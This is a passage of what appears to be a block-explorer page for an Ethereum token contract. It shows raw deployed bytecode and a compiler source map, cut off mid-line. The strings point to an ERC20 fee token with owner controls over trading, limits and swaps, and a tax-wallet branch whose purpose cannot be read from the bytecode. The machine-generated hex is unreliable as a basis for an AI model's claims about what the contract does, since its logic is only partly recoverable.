65b34801561030757600080fd5b506102ae610618565b34801561031c57600080fd5b506101e2600f5481565b34801561033257600080fd5b506101e260105481565b34801561034857600080fd5b506102ae61068c565b34801561035d57600080fd5b506000546001600160a01b0316610210565b34801561037b57600080fd5b5060408051808201909152600281526120a160f11b6020820152610186565b3480156103a657600080fd5b506101bc6103b5366004611753565b610729565b3480156103c657600080fd5b506101e260115481565b3480156103dc57600080fd5b506005546101bc9060ff1681565b3480156103f657600080fd5b506102ae610736565b34801561040b57600080fd5b506101e261041a3660046117dd565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561045157600080fd5b506102ae610a81565b6000610467338484610b20565b5060015b92915050565b600061047f6012600a611910565b61048d906305f5e10061191f565b905090565b600061049f848484610c44565b6104f184336104ec85604051806060016040528060288152602001611ac1602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611336565b610b20565b5060019392505050565b60055461010090046001600160a01b0316336001600160a01b03161461052057600080fd5b30600090815260016020526040902054801561053f5761053f81611370565b47801561054f5761054f81611503565b5050565b6000546001600160a01b031633146105865760405162461bcd60e51b815260040161057d90611936565b60405180910390fd5b6105926012600a611910565b6105a0906305f5e10061191f565b600f556105af6012600a611910565b6105bd906305f5e10061191f565b6010556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105f76012600a611910565b610605906305f5e10061191f565b60405190815260200160405180910390a1565b6000546001600160a01b031633146106425760405162461bcd60e51b815260040161057d90611936565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106b65760405162461bcd60e51b815260040161057d90611936565b601454600160a01b900460ff16156107105760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161057d565b6014805462ff00ff60a01b19166201000160a01b179055565b6000610467338484610c44565b6000546001600160a01b031633146107605760405162461bcd60e51b815260040161057d90611936565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107a990309061079b6012600a611910565b6104ec906305f5e10061191f565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107fc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610820919061196b565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610882573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a6919061196b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108f3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610917919061196b565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d719473061095f816001600160a01b031660009081526001602052604090205490565b6000806109746000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109dc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a019190611988565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a5a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7e91906119b6565b50565b6000546001600160a01b03163314610aab5760405162461bcd60e51b815260040161057d90611936565b60004711610af45760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b604482015260640161057d565b60405133904780156108fc02916000818181858888f19350505050158015610a7e573d6000803e3d6000fd5b6001600160a01b038316610b825760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161057d565b6001600160a01b038216610be35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161057d565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161057d565b6001600160a01b038216610d0a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161057d565b60008111610d6c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161057d565b600081610d816000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610db057506000546001600160a01b03858116911614155b8015610dc557506001600160a01b0385163014155b156111f2576001600160a01b03851660009081526003602052604090205460ff16158015610e0c57506001600160a01b03841660009081526003602052604090205460ff16155b15610e6057601454600160a01b900460ff16610e605760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b604482015260640161057d565b60055460ff1615610f19576013546001600160a01b03858116911614801590610e9757506014546001600160a01b03858116911614155b15610f1957326000908152600460205260409020544311610f065760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b606482015260840161057d565b3260009081526004602052604090204390555b6014546001600160a01b038681169116148015610f4457506013546001600160a01b03858116911614155b8015610f6957506001600160a01b03841660009081526003602052604090205460ff16155b1561104757600f54831115610fb65760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb6b0bc2a3c1760691b604482015260640161057d565b60105483610fd9866001600160a01b031660009081526001602052604090205490565b610fe391906119d8565b11156110315760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161057d565b600d8054906000611041836119eb565b91905055505b611073606461106d600a54600d541161106257600654611066565b6008545b8690611541565b906115ca565b6014549092506001600160a01b03858116911614801561109c57506001600160a01b0385163014155b15611144576005546001600160a01b036101009091048116908616036110d457600e546110c9908461191f565b905060009150611144565b600f5483111561111c5760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb6b0bc2a3c1760691b604482015260640161057d565b611141606461106d600b54600d541161113757600754611066565b6009548690611541565b91505b30600090815260016020526040902054601454600160a81b900460ff1615801561117b57506014546001600160a01b038681169116145b80156111905750601454600160b01b900460ff165b801561119d575060115481115b80156111ac5750600c54600d54115b156111f0576111bc846011541090565b156111f0576111de6111d9856111d48460125461160c565b61160c565b611370565b4780156111ee576111ee47611503565b505b505b811561126c57306000908152600160205260409020546112129083611621565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112639086815260200190565b60405180910390a35b6001600160a01b03851660009081526001602052604090205461128f9082611680565b6001600160a01b0386166000908152600160205260409020556112d46112b58484611680565b6001600160a01b03861660009081526001602052604090205490611621565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61131e8686611680565b60405190815260200160405180910390a35050505050565b6000818484111561135a5760405162461bcd60e51b815260040161057d91906116f0565b5060006113678486611a04565b95945050505050565b6014805460ff60a81b1916600160a81b17905580156114f357601454600160a01b900460ff16156114f35760408051600280825260608201835260009260208301908036833701905050905030816000815181106113d0576113d0611a17565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611429573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144d919061196b565b8160018151811061146057611460611a17565b6001600160a01b0392831660209182029290920101526013546114869130911684610b20565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114bf908590600090869030904290600401611a2d565b600060405180830381600087803b1580156114d957600080fd5b505af11580156114ed573d6000803e3d6000fd5b50505050505b506014805460ff60a81b19169055565b6005546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561054f573d6000803e3d6000fd5b6000826000036115535750600061046b565b600061155f838561191f565b90508261156c8583611a9e565b146115c35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161057d565b9392505050565b60006115c383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116c2565b600081831161161b57826115c3565b50919050565b60008061162e83856119d8565b9050838110156115c35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161057d565b60006115c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611336565b600081836116e35760405162461bcd60e51b815260040161057d91906116f0565b5060006113678486611a9e565b600060208083528351808285015260005b8181101561171d57858101830151858201604001528201611701565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a7e57600080fd5b6000806040838503121561176657600080fd5b82356117718161173e565b946020939093013593505050565b60008060006060848603121561179457600080fd5b833561179f8161173e565b925060208401356117af8161173e565b929592945050506040919091013590565b6000602082840312156117d257600080fd5b81356115c38161173e565b600080604083850312156117f057600080fd5b82356117fb8161173e565b9150602083013561180b8161173e565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561186757816000190482111561184d5761184d611816565b8085161561185a57918102915b93841c9390800290611831565b509250929050565b60008261187e5750600161046b565b8161188b5750600061046b565b81600181146118a157600281146118ab576118c7565b600191505061046b565b60ff8411156118bc576118bc611816565b50506001821b61046b565b5060208310610133831016604e8410600b84101617156118ea575081810a61046b565b6118f4838361182c565b806000190482111561190857611908611816565b029392505050565b60006115c360ff84168361186f565b808202811582820484141761046b5761046b611816565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561197d57600080fd5b81516115c38161173e565b60008060006060848603121561199d57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119c857600080fd5b815180151581146115c357600080fd5b8082018082111561046b5761046b611816565b6000600182016119fd576119fd611816565b5060010190565b8181038181111561046b5761046b611816565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a7d5784516001600160a01b031683529383019391830191600101611a58565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611abb57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209a5baaabb6a8645928881f655f5843fad8e790f93ae8c66608af76442543b34464736f6c63430008130033

Deployed Bytecode Sourcemap

3708:9123:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5671:83;;;;;;;;;;-1:-1:-1;5741:5:0;;;;;;;;;;;;-1:-1:-1;;;5741:5:0;;;;5671:83;;;;;;;:::i;:::-;;;;;;;;6830:161;;;;;;;;;;-1:-1:-1;6830:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6830:161:0;1023:187:1;4915:51:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4915:51:0;1215:177:1;4975:41:0;;;;;;;;;;-1:-1:-1;4975:41:0;;;;-1:-1:-1;;;;;4975:41:0;;;;;;-1:-1:-1;;;;;1587:32:1;;;1569:51;;1557:2;1542:18;4975:41:0;1397:229:1;6075:100:0;;;;;;;;;;;;;:::i;6358:313::-;;;;;;;;;;-1:-1:-1;6358:313:0;;;;;:::i;:::-;;:::i;5857:83::-;;;;;;;;;;-1:-1:-1;5857:83:0;;4537:2;2234:36:1;;2222:2;2207:18;5857:83:0;2092:184:1;5023:28:0;;;;;;;;;;-1:-1:-1;5023:28:0;;;;-1:-1:-1;;;;;5023:28:0;;;12476:348;;;;;;;;;;;;;:::i;:::-;;10963:204;;;;;;;;;;;;;:::i;5948:119::-;;;;;;;;;;-1:-1:-1;5948:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6041:18:0;6014:7;6041:18;;;:9;:18;;;;;;;5948:119;2789:148;;;;;;;;;;;;;:::i;4737:47::-;;;;;;;;;;;;;;;;4791:51;;;;;;;;;;;;;;;;12058:170;;;;;;;;;;;;;:::i;2575:79::-;;;;;;;;;;-1:-1:-1;2613:7:0;2640:6;-1:-1:-1;;;;;2640:6:0;2575:79;;5762:87;;;;;;;;;;-1:-1:-1;5834:7:0;;;;;;;;;;;;-1:-1:-1;;;5834:7:0;;;;5762:87;;6183:167;;;;;;;;;;-1:-1:-1;6183:167:0;;;;;:::i;:::-;;:::i;4849:59::-;;;;;;;;;;;;;;;;4062:40;;;;;;;;;;-1:-1:-1;4062:40:0;;;;;;;;11474:576;;;;;;;;;;;;;:::i;6679:143::-;;;;;;;;;;-1:-1:-1;6679:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6787:18:0;;;6760:7;6787:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6679:143;11275:187;;;;;;;;;;;;;:::i;6830:161::-;6905:4;6922:39;410:10;6945:7;6954:6;6922:8;:39::i;:::-;-1:-1:-1;6979:4:0;6830:161;;;;;:::o;6075:100::-;6128:7;4600:13;4537:2;4600;:13;:::i;:::-;4586:27;;:11;:27;:::i;:::-;6148:19;;6075:100;:::o;6358:313::-;6456:4;6473:36;6483:6;6491:9;6502:6;6473:9;:36::i;:::-;6520:121;6529:6;410:10;6551:89;6589:6;6551:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6551:19:0;;;;;;:11;:19;;;;;;;;410:10;6551:33;;;;;;;;;;:37;:89::i;:::-;6520:8;:121::i;:::-;-1:-1:-1;6659:4:0;6358:313;;;;;:::o;12476:348::-;12540:10;;;;;-1:-1:-1;;;;;12540:10:0;410;-1:-1:-1;;;;;12526:24:0;;12518:33;;;;;;12601:4;12562:20;6041:18;;;:9;:18;;;;;;12621:14;;12618:73;;12649:30;12666:12;12649:16;:30::i;:::-;12720:21;12755:12;;12752:65;;12781:24;12794:10;12781:12;:24::i;:::-;12507:317;;12476:348::o;10963:204::-;2702:6;;-1:-1:-1;;;;;2702:6:0;410:10;2702:22;2694:67;;;;-1:-1:-1;;;2694:67:0;;;;;;;:::i;:::-;;;;;;;;;4600:13:::1;4537:2;4600;:13;:::i;:::-;4586:27;::::0;:11:::1;:27;:::i;:::-;11017:6;:21:::0;4600:13:::1;4537:2;4600;:13;:::i;:::-;4586:27;::::0;:11:::1;:27;:::i;:::-;11049:10;:23:::0;11085:20:::1;:26:::0;;-1:-1:-1;;11085:26:0::1;::::0;;11127:32:::1;4600:13;4537:2;4600;:13;:::i;:::-;4586:27;::::0;:11:::1;:27;:::i;:::-;11127:32;::::0;1361:25:1;;;1349:2;1334:18;11127:32:0::1;;;;;;;10963:204::o:0;2789:148::-;2702:6;;-1:-1:-1;;;;;2702:6:0;410:10;2702:22;2694:67;;;;-1:-1:-1;;;2694:67:0;;;;;;;:::i;:::-;2896:1:::1;2880:6:::0;;2859:40:::1;::::0;-1:-1:-1;;;;;2880:6:0;;::::1;::::0;2859:40:::1;::::0;2896:1;;2859:40:::1;2927:1;2910:19:::0;;-1:-1:-1;;;;;;2910:19:0::1;::::0;;2789:148::o;12058:170::-;2702:6;;-1:-1:-1;;;;;2702:6:0;410:10;2702:22;2694:67;;;;-1:-1:-1;;;2694:67:0;;;;;;;:::i;:::-;12124:11:::1;::::0;-1:-1:-1;;;12124:11:0;::::1;;;12123:12;12115:47;;;::::0;-1:-1:-1;;;12115:47:0;;5385:2:1;12115:47:0::1;::::0;::::1;5367:21:1::0;5424:2;5404:18;;;5397:30;5463:25;5443:18;;;5436:53;5506:18;;12115:47:0::1;5183:347:1::0;12115:47:0::1;12173:11;:18:::0;;-1:-1:-1;;;;12202:18:0;-1:-1:-1;;;12202:18:0;;;12058:170::o;6183:167::-;6261:4;6278:42;410:10;6302:9;6313:6;6278:9;:42::i;11474:576::-;2702:6;;-1:-1:-1;;;;;2702:6:0;410:10;2702:22;2694:67;;;;-1:-1:-1;;;2694:67:0;;;;;;;:::i;:::-;11537:15:::1;:80:::0;;-1:-1:-1;;;;;;11537:80:0::1;11574:42;11537:80:::0;;::::1;::::0;;;11628:63:::1;::::0;11645:4:::1;::::0;4600:13:::1;4537:2;4600;:13;:::i;:::-;4586:27;::::0;:11:::1;:27;:::i;11628:63::-;11736:15;;;;;;;;;-1:-1:-1::0;;;;;11736:15:0::1;-1:-1:-1::0;;;;;11736:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11718:55:0::1;;11782:4;11789:15;;;;;;;;;-1:-1:-1::0;;;;;11789:15:0::1;-1:-1:-1::0;;;;;11789:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11718:94;::::0;-1:-1:-1;;;;;;11718:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6021:15:1;;;11718:94:0::1;::::0;::::1;6003:34:1::0;6073:15;;6053:18;;;6046:43;5938:18;;11718:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11702:13;:110:::0;;-1:-1:-1;;;;;11702:110:0;;::::1;-1:-1:-1::0;;;;;;11702:110:0;;::::1;;::::0;;11823:15:::1;::::0;::::1;:31;11862:21;11893:4;11899:24;11893:4:::0;-1:-1:-1;;;;;6041:18:0;6014:7;6041:18;;;:9;:18;;;;;;;5948:119;11899:24:::1;11924:1;11926::::0;11928:7:::1;2613::::0;2640:6;-1:-1:-1;;;;;2640:6:0;;2575:79;11928:7:::1;11823:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11823:129:0;;;-1:-1:-1;;;;;6459:15:1;;;11823:129:0::1;::::0;::::1;6441:34:1::0;6491:18;;;6484:34;;;;6534:18;;;6527:34;;;;6577:18;;;6570:34;6641:15;;;6620:19;;;6613:44;11936:15:0::1;6673:19:1::0;;;6666:35;6375:19;;11823:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11970:13:0::1;::::0;12001:15:::1;::::0;11963:71:::1;::::0;-1:-1:-1;;;11963:71:0;;-1:-1:-1;;;;;12001:15:0;;::::1;11963:71;::::0;::::1;7197:51:1::0;-1:-1:-1;;7264:18:1;;;7257:34;11970:13:0;::::1;::::0;-1:-1:-1;11963:29:0::1;::::0;7170:18:1;;11963:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11474:576::o:0;11275:187::-;2702:6;;-1:-1:-1;;;;;2702:6:0;410:10;2702:22;2694:67;;;;-1:-1:-1;;;2694:67:0;;;;;;;:::i;:::-;11364:1:::1;11340:21;:25;11332:60;;;::::0;-1:-1:-1;;;11332:60:0;;7786:2:1;11332:60:0::1;::::0;::::1;7768:21:1::0;7825:2;7805:18;;;7798:30;-1:-1:-1;;;7844:18:1;;;7837:52;7906:18;;11332:60:0::1;7584:346:1::0;11332:60:0::1;11403:51;::::0;11411:10:::1;::::0;11432:21:::1;11403:51:::0;::::1;;;::::0;::::1;::::0;;;11432:21;11411:10;11403:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;7220:335:::0;-1:-1:-1;;;;;7313:19:0;;7305:68;;;;-1:-1:-1;;;7305:68:0;;8137:2:1;7305:68:0;;;8119:21:1;8176:2;8156:18;;;8149:30;8215:34;8195:18;;;8188:62;-1:-1:-1;;;8266:18:1;;;8259:34;8310:19;;7305:68:0;7935:400:1;7305:68:0;-1:-1:-1;;;;;7392:21:0;;7384:68;;;;-1:-1:-1;;;7384:68:0;;8542:2:1;7384:68:0;;;8524:21:1;8581:2;8561:18;;;8554:30;8620:34;8600:18;;;8593:62;-1:-1:-1;;;8671:18:1;;;8664:32;8713:19;;7384:68:0;8340:398:1;7384:68:0;-1:-1:-1;;;;;7463:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7515:32;;1361:25:1;;;7515:32:0;;1334:18:1;7515:32:0;;;;;;;7220:335;;;:::o;7563:2825::-;-1:-1:-1;;;;;7651:18:0;;7643:68;;;;-1:-1:-1;;;7643:68:0;;8945:2:1;7643:68:0;;;8927:21:1;8984:2;8964:18;;;8957:30;9023:34;9003:18;;;8996:62;-1:-1:-1;;;9074:18:1;;;9067:35;9119:19;;7643:68:0;8743:401:1;7643:68:0;-1:-1:-1;;;;;7730:16:0;;7722:64;;;;-1:-1:-1;;;7722:64:0;;9351:2:1;7722:64:0;;;9333:21:1;9390:2;9370:18;;;9363:30;9429:34;9409:18;;;9402:62;-1:-1:-1;;;9480:18:1;;;9473:33;9523:19;;7722:64:0;9149:399:1;7722:64:0;7814:1;7805:6;:10;7797:64;;;;-1:-1:-1;;;7797:64:0;;9755:2:1;7797:64:0;;;9737:21:1;9794:2;9774:18;;;9767:30;9833:34;9813:18;;;9806:62;-1:-1:-1;;;9884:18:1;;;9877:39;9933:19;;7797:64:0;9553:405:1;7797:64:0;7874:17;7924:6;7955:7;2613;2640:6;-1:-1:-1;;;;;2640:6:0;;2575:79;7955:7;-1:-1:-1;;;;;7947:15:0;:4;-1:-1:-1;;;;;7947:15:0;;;:32;;;;-1:-1:-1;2613:7:0;2640:6;-1:-1:-1;;;;;7966:13:0;;;2640:6;;7966:13;;7947:32;:57;;;;-1:-1:-1;;;;;;7983:21:0;;7999:4;7983:21;;7947:57;7943:2082;;;-1:-1:-1;;;;;8038:24:0;;;;;;:18;:24;;;;;;;;8037:25;:52;;;;-1:-1:-1;;;;;;8067:22:0;;;;;;:18;:22;;;;;;;;8066:23;8037:52;8033:136;;;8118:11;;-1:-1:-1;;;8118:11:0;;;;8110:43;;;;-1:-1:-1;;;8110:43:0;;10165:2:1;8110:43:0;;;10147:21:1;10204:2;10184:18;;;10177:30;-1:-1:-1;;;10223:18:1;;;10216:49;10282:18;;8110:43:0;9963:343:1;8110:43:0;8190:20;;;;8186:346;;;8249:15;;-1:-1:-1;;;;;8235:30:0;;;8249:15;;8235:30;;;;:62;;-1:-1:-1;8283:13:0;;-1:-1:-1;;;;;8269:28:0;;;8283:13;;8269:28;;8235:62;8231:286;;;8357:9;8328:39;;;;:28;:39;;;;;;8370:12;-1:-1:-1;8320:102:0;;;;-1:-1:-1;;;8320:102:0;;10513:2:1;8320:102:0;;;10495:21:1;10552:2;10532:18;;;10525:30;10591:34;10571:18;;;10564:62;-1:-1:-1;;;10642:18:1;;;10635:34;10686:19;;8320:102:0;10311:400:1;8320:102:0;8472:9;8443:39;;;;:28;:39;;;;;8485:12;8443:54;;8231:286;8560:13;;-1:-1:-1;;;;;8552:21:0;;;8560:13;;8552:21;:55;;;;-1:-1:-1;8591:15:0;;-1:-1:-1;;;;;8577:30:0;;;8591:15;;8577:30;;8552:55;:83;;;;-1:-1:-1;;;;;;8613:22:0;;;;;;:18;:22;;;;;;;;8611:24;8552:83;8548:313;;;8675:6;;8665;:16;;8657:48;;;;-1:-1:-1;;;8657:48:0;;10918:2:1;8657:48:0;;;10900:21:1;10957:2;10937:18;;;10930:30;-1:-1:-1;;;10976:18:1;;;10969:49;11035:18;;8657:48:0;10716:343:1;8657:48:0;8758:10;;8748:6;8732:13;8742:2;-1:-1:-1;;;;;6041:18:0;6014:7;6041:18;;;:9;:18;;;;;;;5948:119;8732:13;:22;;;;:::i;:::-;:36;;8724:75;;;;-1:-1:-1;;;8724:75:0;;11396:2:1;8724:75:0;;;11378:21:1;11435:2;11415:18;;;11408:30;11474:28;11454:18;;;11447:56;11520:18;;8724:75:0;11194:350:1;8724:75:0;8834:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8548:313;8891:73;8960:3;8891:64;8913:15;;8903:9;;:25;8902:52;;8943:11;;8902:52;;;8930:12;;8902:52;8891:6;;:10;:64::i;:::-;:68;;:73::i;:::-;8988:13;;8879:85;;-1:-1:-1;;;;;;8982:19:0;;;8988:13;;8982:19;:43;;;;-1:-1:-1;;;;;;9005:20:0;;9020:4;9005:20;;8982:43;8979:422;;;9057:10;;-1:-1:-1;;;;;9057:10:0;;;;;;9049:18;;;;9046:340;;9113:9;;9104:18;;:6;:18;:::i;:::-;9092:30;;9157:1;9145:13;;9046:340;;;9225:6;;9215;:16;;9207:48;;;;-1:-1:-1;;;9207:48:0;;10918:2:1;9207:48:0;;;10900:21:1;10957:2;10937:18;;;10930:30;-1:-1:-1;;;10976:18:1;;;10969:49;11035:18;;9207:48:0;10716:343:1;9207:48:0;9290:76;9362:3;9290:67;9312:16;;9302:9;;:26;9301:55;;9344:12;;9301:55;;;9330:13;;9290:6;;:10;:67::i;:76::-;9278:88;;9046:340;9466:4;9417:28;6041:18;;;:9;:18;;;;;;9492:6;;-1:-1:-1;;;9492:6:0;;;;9491:7;:30;;;;-1:-1:-1;9508:13:0;;-1:-1:-1;;;;;9502:19:0;;;9508:13;;9502:19;9491:30;:45;;;;-1:-1:-1;9525:11:0;;-1:-1:-1;;;9525:11:0;;;;9491:45;:87;;;;;9561:17;;9540:20;:38;9491:87;:119;;;;;9592:18;;9582:9;;:28;9491:119;9487:527;;;9634:45;9653:6;9661:17;;-1:-1:-1;7201:3:0;7105:107;9634:45;9631:368;;;9704:67;9721:49;9725:6;9732:37;9736:20;9757:11;;9732:3;:37::i;:::-;9721:3;:49::i;:::-;9704:16;:67::i;:::-;9823:21;9870:22;;9867:113;;9921:35;9934:21;9921:12;:35::i;:::-;9681:318;9631:368;8006:2019;7943:2082;10040:11;;10037:161;;10108:4;10090:24;;;;:9;:24;;;;;;:39;;10119:9;10090:28;:39::i;:::-;10083:4;10065:24;;;;:9;:24;;;;;;;:64;;;;10147:39;;-1:-1:-1;;;;;10147:39:0;;;;;;;10176:9;1361:25:1;;1349:2;1334:18;;1215:177;10147:39:0;;;;;;;;10037:161;-1:-1:-1;;;;;10226:15:0;;;;;;:9;:15;;;;;;:30;;10246:9;10226:19;:30::i;:::-;-1:-1:-1;;;;;10210:15:0;;;;;;:9;:15;;;;;:46;10281:40;10299:21;:6;10310:9;10299:10;:21::i;:::-;-1:-1:-1;;;;;10281:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10267:13:0;;;;;;;:9;:13;;;;;:54;;;;10339:41;;;10358:21;:6;10369:9;10358:10;:21::i;:::-;10339:41;;1361:25:1;;;1349:2;1334:18;10339:41:0;;;;;;;7632:2756;;7563:2825;;;:::o;1467:190::-;1553:7;1589:12;1581:6;;;;1573:29;;;;-1:-1:-1;;;1573:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1613:9:0;1625:5;1629:1;1625;:5;:::i;:::-;1613:17;1467:190;-1:-1:-1;;;;;1467:190:0:o;10400:555::-;5240:6;:13;;-1:-1:-1;;;;5240:13:0;-1:-1:-1;;;5240:13:0;;;10478:27;;10497:7:::1;10478:27;10519:11;::::0;-1:-1:-1;;;10519:11:0;::::1;;;10515:25:::0;10532:7:::1;10515:25;10574:16;::::0;;10588:1:::1;10574:16:::0;;;;;::::1;::::0;;10550:21:::1;::::0;10574:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10574:16:0::1;10550:40;;10619:4;10601;10606:1;10601:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10601:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10645:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10645:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10601:7;;10645:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10635:4;10640:1;10635:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10635:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10710:15:::1;::::0;10678:62:::1;::::0;10695:4:::1;::::0;10710:15:::1;10728:11:::0;10678:8:::1;:62::i;:::-;10751:15;::::0;:196:::1;::::0;-1:-1:-1;;;10751:196:0;;-1:-1:-1;;;;;10751:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10832:11;;10751:15:::1;::::0;10874:4;;10901::::1;::::0;10921:15:::1;::::0;10751:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10467:488;5264:1;-1:-1:-1::0;5276:6:0;:14;;-1:-1:-1;;;;5276:14:0;;;10400:555::o;11175:92::-;11232:10;;:27;;:10;;;;-1:-1:-1;;;;;11232:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;1665:246;1723:7;1747:1;1752;1747:6;1743:47;;-1:-1:-1;1777:1:0;1770:8;;1743:47;1800:9;1812:5;1816:1;1812;:5;:::i;:::-;1800:17;-1:-1:-1;1845:1:0;1836:5;1840:1;1800:17;1836:5;:::i;:::-;:10;1828:56;;;;-1:-1:-1;;;1828:56:0;;13495:2:1;1828:56:0;;;13477:21:1;13534:2;13514:18;;;13507: